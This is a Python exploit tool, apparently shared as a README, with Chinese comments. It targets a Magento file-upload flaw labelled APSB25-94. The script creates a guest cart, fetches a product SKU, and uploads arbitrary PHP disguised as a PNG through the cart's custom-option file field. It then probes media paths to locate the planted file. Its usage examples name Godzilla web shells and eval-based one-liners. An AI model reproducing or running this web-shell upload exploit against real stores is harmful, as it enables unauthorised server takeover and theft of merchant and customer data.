README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Magento APSB25-94 — 单目标手动上传工具
支持上传自定义文件或直接指定 PHP 代码
用法:
# 上传本地文件(如哥斯拉马)
python magento_upload.py -u https://target.com -f godzilla.php
# 直接指定 PHP 代码
python magento_upload.py -u https://target.com -c '<?php phpinfo();?>'
# 指定上传文件名
python magento_upload.py -u https://target.com -f shell.php -n abc.php
# 上传原始文件(不包裹 PNG,直接 base64)
python magento_upload.py -u https://target.com -f shell.php --raw
# 指定 SKU(跳过自动获取)
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>' -s "SKU-123"
"""
import requests
import base64
import random
import string
import struct
import zlib
import argparse
import sys
import os
requests.packages.urllib3.disable_warnings()
JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"}
TIMEOUT = 30
UPLOAD_PATHS = [
"/pub/media/custom_options/quote/{0}/{1}/{2}",
"/media/custom_options/quote/{0}/{1}/{2}",
"/pub/media/custom_options/{0}/{1}/{2}",
"/media/custom_options/{0}/{1}/{2}",
]
def make_png_polyshell(payload_bytes):
"""将 payload 追加到合法 PNG 末尾"""
sig = b'\x89PNG\r\n\x1a\n'
def mc(ct, d):
raw = ct + d
return struct.pack('>I', len(d)) + raw + struct.pack('>I', zlib.crc32(raw) & 0xffffffff)
ihdr = mc(b'IHDR', struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0))
idat = mc(b'IDAT', zlib.compress(b'\x00\xff\x00\x00'))
iend = mc(b'IEND', b'')
return sig + ihdr + idat + iend + payload_bytes
def get_sku(session, base_url):
print("[*] 获取 SKU...")
resp = session.post(
f"{base_url}/graphql",
headers=JSON_HEADERS,
json={"query": '{ products(search: "", pageSize: 1) { items { sku } } }'},
timeout=TIMEOUT, verify=False
)
sku = resp.json()['data']['products']['items'][0]['sku']
print(f"[+] SKU: {sku}")
return sku
def create_cart(session, base_url):
print("[*] 创建购物车...")
resp = session.post(
f"{base_url}/rest/default/V1/guest-carts",
headers=JSON_HEADERS, timeout=TIMEOUT, verify=False
)
cart_id = resp.json()
print(f"[+] Cart: {cart_id}")
return cart_id
def upload(session, base_url, cart_id, sku, b64_data, filename):
print(f"[*] 上传: {filename} ({len(b64_data)} b64 chars)...")
json_body = {
"cart_item": {
"product_option": {
"extension_attributes": {
"custom_options": [{
"extension_attributes": {
"file_info": {
"base64_encoded_data": b64_data,
"name": filename,
"type": "image/png"
}
},
"option_id": "12345",
"option_value": "file"
}]
}
},
"qty": 1,
"sku": sku
}
}
resp = session.post(
f"{base_url}/rest/default/V1/guest-carts/{cart_id}/items",
headers=JSON_HEADERS, json=json_body, timeout=TIMEOUT, verify=False
)
print(f"[*] 上传响应: HTTP {resp.status_code}")
if resp.status_code != 200:
print(f" Body: {resp.text[:300]}")
return resp
def probe_paths(session, base_url, filename):
print(f"[*] 探测上传路径...")
for tpl in UPLOAD_PATHS:
url = base_url + tpl.format(filename[0], filename[1], filename)
try:
resp = session.get(url, timeout=TIMEOUT, verify=False)
code = resp.status_code
size = len(resp.content)
preview = resp.text[:120].replace('\n', ' ')
if code != 404:
print(f" [HIT] HTTP {code} | {size}B | {url}")
print(f" Body: {preview}")
return url, resp
else:
print(f" [---] HTTP 404 | {url}")
except Exception as e:
print(f" [ERR] {url} | {e}")
return None, None
def main():
parser = argparse.ArgumentParser(
description="Magento APSB25-94 单目标上传工具",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
%(prog)s -u https://target.com -c '<?php phpinfo();?>'
%(prog)s -u https://target.com -f godzilla.php
%(prog)s -u https://target.com -f shell.php -n custom_name.php
%(prog)s -u https://target.com -f shell.php --raw
%(prog)s -u https://target.com -c '<?php eval($_POST[1]);?>' -s "24-MB01"
"""
)
parser.add_argument('-u', '--url', required=True, help="目标 URL")
parser.add_argument('-f', '--file', help="要上传的本地文件路径")
parser.add_argument('-c', '--code', help="直接指定 PHP 代码字符串")
parser.add_argument('-n', '--name', help="自定义上传文件名 (默认随机.php)")
parser.add_argument('-s', '--sku', help="手动指定 SKU (跳过自动获取)")
parser.add_argument('--raw', action='store_true', help="不包裹 PNG,直接上传原始文件内容")
parser.add_argument('--no-probe', action='store_true', help="上传后不探测路径")
args = parser.parse_args()
if not args.file and not args.code:
parser.error("必须指定 -f (文件) 或 -c (代码) 其中之一")
raw_url = args.url.strip().rstrip('/')
if not raw_url.startswith('http://') and not raw_url.startswith('https://'):
raw_url = 'https://' + raw_url
base_url = raw_url
# 读取 payload
if args.file:
if not os.path.exists(args.file):
print(f"[-] 文件不存在: {args.file}")
sys.exit(1)
with open(args.file, 'rb') as f:
payload_bytes = f.read()
print(f"[+] 从文件加载: {args.file} ({len(payload_bytes)} bytes)")
else:
payload_bytes = args.code.encode('utf-8')
print(f"[+] 使用代码: {args.code[:80]}{'...' if len(args.code) > 80 else ''}")
# 文件名
if args.name:
filename = args.name
elif args.file:
filename = os.path.basename(args.file)
else:
filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + '.php'
# 构造上传数据
if args.raw:
b64_data = base64.b64encode(payload_bytes).decode()
print(f"[*] 模式: RAW (不包裹 PNG)")
else:
png_data = make_png_polyshell(payload_bytes)
b64_data = base64.b64encode(png_data).decode()
print(f"[*] 模式: PNG polyshell ({len(png_data)} bytes)")
print(f"[*] 文件名: {filename}")
print(f"[*] 目标: {base_url}")
print()
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
# SKU
if args.sku:
sku = args.sku
print(f"[+] 使用指定 SKU: {sku}")
else:
try:
sku = get_sku(session, base_url)
except Exception as e:
print(f"[-] SKU 获取失败: {e}")
sys.exit(1)
# Cart + Upload
try:
cart_id = create_cart(session, base_url)
except Exception as e:
print(f"[-] 购物车创建失败: {e}")
sys.exit(1)
upload(session, base_url, cart_id, sku, b64_data, filename)
# 探测
if not args.no_probe:
print()
url, resp = probe_paths(session, base_url, filename)
if url:
print(f"\n{'='*60}")
print(f"[+] 文件已上传: {url}")
print(f"{'='*60}")
else:
print(f"\n[-] 所有路径均未命中")
else:
print("\n[*] 跳过路径探测 (--no-probe)")
for tpl in UPLOAD_PATHS:
print(f" 手动检查: {base_url + tpl.format(filename[0], filename[1], filename)}")
if __name__ == "__main__":
main()